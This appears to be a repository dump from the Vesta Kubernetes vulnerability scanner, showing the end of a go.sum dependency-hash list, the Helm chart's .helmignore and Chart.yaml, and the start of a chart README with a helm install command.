golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.1 h1:wGiQel/hW0NnEkJUk8lbzkX2gFJU6PFxf1v5OlCfuOs= golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201019141844-1ed22bb0c154/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= gotest.tools/v3 v3.3.0 h1:MfDY1b1/0xN1CyMlQDac0ziEy9zJQd9CXBRRDHw2jJo= gotest.tools/v3 v3.3.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= k8s.io/api v0.22.5 h1:xk7C+rMjF/EGELiD560jdmwzrB788mfcHiNbMQLIVI8= k8s.io/api v0.22.5/go.mod h1:mEhXyLaSD1qTOf40rRiKXkc+2iCem09rWLlFwhCEiAs= k8s.io/apimachinery v0.22.5 h1:cIPwldOYm1Slq9VLBRPtEYpyhjIm1C6aAMAoENuvN9s= k8s.io/apimachinery v0.22.5/go.mod h1:xziclGKwuuJ2RM5/rSFQSYAj0zdbci3DH8kj+WvyN0U= k8s.io/client-go v0.22.5 h1:I8Zn/UqIdi2r02aZmhaJ1hqMxcpfJ3t5VqvHtctHYFo= k8s.io/client-go v0.22.5/go.mod h1:cs6yf/61q2T1SdQL5Rdcjg9J1ElXSwbjSrW2vFImM4Y= k8s.io/gengo v0.0.0-20200413195148-3a45101e95ac/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0= k8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE= k8s.io/klog/v2 v2.9.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec= k8s.io/klog/v2 v2.30.0 h1:bUO6drIvCIsvZ/XFgfxoGFQU/a4Qkh0iAlvUR7vlHJw= k8s.io/klog/v2 v2.30.0/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0= k8s.io/kube-openapi v0.0.0-20211109043538-20434351676c/go.mod h1:vHXdDvt9+2spS2Rx9ql3I8tycm3H9FDfdUoIuKCefvw= k8s.io/utils v0.0.0-20210819203725-bdf08cb9a70a/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA= k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed h1:jAne/RjBTyawwAy0utX5eqigAwz/lQhTmy+Hr/Cpue4= k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA= lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU= lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= modernc.org/cc/v3 v3.36.0 h1:0kmRkTmqNidmu3c7BNDSdVHCxXCkWLmWmCIVX4LUboo= modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= modernc.org/ccgo/v3 v3.16.6 h1:3l18poV+iUemQ98O3X5OMr97LOqlzis+ytivU4NqGhA= modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk= modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM= modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= modernc.org/libc v1.16.7 h1:qzQtHhsZNpVPpeCu+aMIQldXeV1P0vRhSqCL0nOIJOA= modernc.org/libc v1.16.7/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8= modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= modernc.org/memory v1.1.1 h1:bDOL0DIDLQv7bWhP3gMvIrnoFw+Eo6F7a2QK9HPDiFU= modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A= modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= modernc.org/sqlite v1.17.3 h1:iE+coC5g17LtByDYDWKpR6m2Z9022YrSh3bumwOnIrI= modernc.org/sqlite v1.17.3/go.mod h1:10hPVYar9C0kfXuTWGz8s0XtB8uAGymUy51ZzStYe3k= modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs= modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= modernc.org/tcl v1.13.1 h1:npxzTwFTZYM8ghWicVIX1cRWzj7Nd8i6AqqX2p+IYao= modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk= modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.5.1 h1:RTNHdsrOpeoSeOF4FbzTo8gBYByaJ5xT7NgZ9ZqRiJM= modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= sigs.k8s.io/structured-merge-diff/v4 v4.0.2/go.mod h1:bJZC9H9iH24zzfZ/41RGcq60oK1F7G282QMXDPYydCw= sigs.k8s.io/structured-merge-diff/v4 v4.1.2 h1:Hr/htKFmJEbtMgS/UD0N+gtgctAqz81t3nu+sPzynno= sigs.k8s.io/structured-merge-diff/v4 v4.1.2/go.mod h1:j/nl6xW8vLS49O8YvXW1ocPhZawJtm+Yrr7PPRQ0Vg4= sigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q= sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= ================================================ FILE: helm/vesta/.helmignore ================================================ # Patterns to ignore when building packages. # This supports shell glob matching, relative path matching, and # negation (prefixed with !). Only one pattern per line. .DS_Store # Common VCS dirs .git/ .gitignore .bzr/ .bzrignore .hg/ .hgignore .svn/ # Common backup files *.swp *.bak *.tmp *.orig *~ # Various IDEs .project .idea/ *.tmproj .vscode/ ================================================ FILE: helm/vesta/Chart.yaml ================================================ apiVersion: v2 name: vesta description: Vesta helm chart type: application version: 0.1.0 appVersion: "1.0.11" keywords: - scanner - vesta - vulnerability - k8s sources: - https://github.com/kvesta/vesta ================================================ FILE: helm/vesta/README.md ================================================ # Vesta Scanner Vesta toolkit standalone installation. ## TL;DR; ``` $ helm install vesta . --namespace vesta --create-namespace ``` ## Introduction This chart bootstraps a Trivy deployment on a 